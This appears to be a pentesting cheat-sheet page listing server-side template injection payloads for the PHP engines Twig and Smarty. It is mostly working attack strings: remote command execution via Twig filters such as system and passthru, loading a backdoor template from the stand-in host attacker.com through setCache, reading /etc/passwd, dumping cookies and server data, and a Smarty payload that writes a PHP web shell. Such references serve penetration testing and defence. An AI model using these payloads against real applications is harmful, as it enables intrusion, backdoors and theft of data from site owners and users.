Skip to main content

Twig & Smarty SSTI (PHP)

CWECWE-1336
Toolstplmap
Difficulty🟡 intermediate

Twig (PHP)​

Twig is the default template engine for Symfony.

Exploitation methodology:

  1. Access Twig environment:

    {{ _self.env }}
    {{ _self.env.getFilter('id') }}
  2. Access Symfony/application objects:

    {{ app.request.server.all() }}
    {{ app.request.cookies.all() }}
  3. RCE via filter (Twig 2.x+):

    {{ ['id']|filter('system') }}
    {{ ['id']|map('system') }}
    {{ ['id','']|sort('system') }}
  4. RCE via map:

    {{ {0: 'id'}|map('passthru') }}
  5. RCE via deprecated registerUndefinedFilterCallback (Twig < 1.20):

    {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
  6. RCE via setCache:

    {{_self.env.setCache("ftp://attacker.com/")}}{{_self.env.loadTemplate("backdoor")}}
  7. File read:

    {{ source('/etc/passwd') }}
    {{ include('/etc/passwd') }}
  8. Information disclosure:

    {{ _context }}
    {{ dump() }}
    {{ app }}

Twig sandbox inspection:

{{ _self.env.getFilters()|keys|join(', ') }}
{{ _self.env.getFunctions()|keys|join(', ') }}

If include is allowed in the sandbox, use it for file reads.

Smarty (PHP)​

Detection:

{$smarty.version}

RCE (older versions with {php} tags):

{php}echo system('id');{/php}

File read:

{self::getStreamVariable("file:///etc/passwd")}

RCE via Smarty functions (if available):

{system('id')}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}